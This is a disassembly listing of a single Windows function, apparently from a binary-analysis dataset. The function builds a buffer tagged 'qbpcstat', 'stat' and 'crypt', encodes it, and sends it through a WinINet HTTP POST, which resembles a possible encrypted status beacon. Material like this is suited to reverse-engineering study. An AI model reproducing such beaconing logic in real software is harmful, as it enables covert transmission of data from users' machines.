Function at 0x40a590
Capabilities:
Send data
Send http request

Disassembly:
push 0x158
mov eax, 0x43c942
call fcn.00423c42
mov ebx, ecx
mov ecx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x50], 0xf
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x64], al
mov dword [ebp - 4], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
lea eax, [ebp - 0x158]
mov byte [ebp - 4], 1
push eax
call fcn.0040ada2
push dword [ebp - 0x154]
lea ecx, [ebp - 0x64]
push dword [ebp - 0x158]
call fcn.00402059
cmp dword [ebp - 0x50], 0x10
lea eax, [ebp - 0x64]
push dword [ebp - 0x54]
cmovae eax, dword [ebp - 0x64]
lea edx, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x1c], 0xac39e862
mov dword [ebp - 0x18], 0x7937758d
call fcn.0040dac5
pop ecx
pop ecx
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
cmp dword [ebp - 0x38], 0x10
mov eax, dword [ebp - 0x3c]
cmovae ecx, dword [ebp - 0x4c]
push dword [ebp - 0x148]
add eax, ecx
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x4c]
xor esi, esi
push eax
push ecx
lea ecx, [ebp - 0x164]
mov dword [ebp - 0x164], esi
mov dword [ebp - 0x160], esi
mov dword [ebp - 0x15c], esi
call fcn.0040c5a3
lea ecx, [ebp - 0xfc]
mov byte [ebp - 4], 3
call fcn.0040a9b1
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x114]
push str.qbpcstat
mov dword [ebp - 0xf4], esi
call fcn.00401f48
push 0xffffffffffffffff
push esi
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 5
push eax
lea ecx, [ebp - 0xf0]
call fcn.00401f81
push esi
push 1
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 4
call fcn.00402015
push str.stat
lea ecx, [ebp - 0x12c]
call fcn.00401f48
push 0xffffffffffffffff
mov byte [ebp - 4], 6
lea eax, [ebp - 0x12c]
push esi
push eax
lea ecx, [ebp - 0xd8]
call fcn.00401f81
push esi
push 1
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 4
call fcn.00402015
push str.crypt
lea ecx, [ebp - 0x7c]
call fcn.00401f48
push esi
lea eax, [ebp - 0x164]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x88], esi
call fcn.0040be45
lea ecx, [ebp - 0x144]
call fcn.0040b91e
mov dword [ebp - 0x148], eax
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xa0]
mov esi, ecx
mov edi, dword [ecx + 4]
cmp byte [edi + 0xd], 0
jne 0x40a761
lea eax, [ebp - 0x7c]
push eax
lea eax, [edi + 0x10]
push eax
call fcn.0040b9b3
test al, al
je 0x40a751
mov edi, dword [edi + 8]
jmp 0x40a755
mov esi, edi
mov edi, dword [edi]
cmp byte [edi + 0xd], 0
je 0x40a73b
mov ecx, dword [ebp - 0xa0]
cmp esi, ecx
je 0x40a776
lea eax, [esi + 0x10]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0040b9b3
test al, al
je 0x40a7b1
lea eax, [ebp - 0x7c]
push ecx
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x14c]
push eax
push ecx
lea ecx, [ebp - 0xa0]
call fcn.0040c5d9
push eax
add eax, 0x10
lea ecx, [ebp - 0xa0]
push eax
push esi
lea eax, [ebp - 0x14c]
push eax
call fcn.0040c644
mov esi, dword [ebp - 0x14c]
push dword [ebp - 0x148]
lea ecx, [esi + 0x28]
call fcn.0040b89d
xor edi, edi
mov byte [ebp - 4], 7
push 0
inc edi
lea ecx, [ebp - 0x144]
push edi
mov esi, eax
call fcn.00402015
mov edx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
add ecx, edx
push ecx
push edx
mov ecx, esi
call fcn.0040b5b1
push 0
push edi
lea ecx, [ebp - 0x7c]
call fcn.00402015
xor eax, eax
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x34], al
mov byte [ebp - 4], 9
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x8c]
push eax
call fcn.0040ab61
mov eax, dword [ebp - 0x88]
add eax, 4
push eax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x148], eax
lea ecx, [ebp - 0x34]
push 4
lea eax, [ebp - 0x148]
push eax
call fcn.00402059
push dword [ebp - 0x88]
lea ecx, [ebp - 0x34]
push dword [ebp - 0x8c]
call fcn.0040781c
xor eax, eax
push eax
push eax
push eax
push eax
push str.HTTP_1.1
push eax
push str.POST
push dword [ebx + 0xf4]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
test esi, esi
je 0x40a8a4
push dword [ebp - 0x24]
cmp dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x34]
cmovae ecx, dword [ebp - 0x34]
xor ebx, ebx
push ecx
push ebx
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40a8a6
xor ebx, ebx
push ebx
push edi
lea ecx, [ebp - 0x34]
call fcn.00402015
push dword [ebp - 0x8c]
call fcn.0041f5a6
pop ecx
lea ecx, [ebp - 0xa0]
call fcn.0040aac7
lea ecx, [ebp - 0xfc]
call fcn.0040a938
cmp dword [ebp - 0x164], 0
je 0x40a8e7
push dword [ebp - 0x164]
call fcn.0041e2e4
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x4c]
call fcn.00402015
push dword [ebp - 0x158]
call fcn.0041f5a6
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x64]
call fcn.00402015
xor al, al
call fcn.00423bf1
ret 4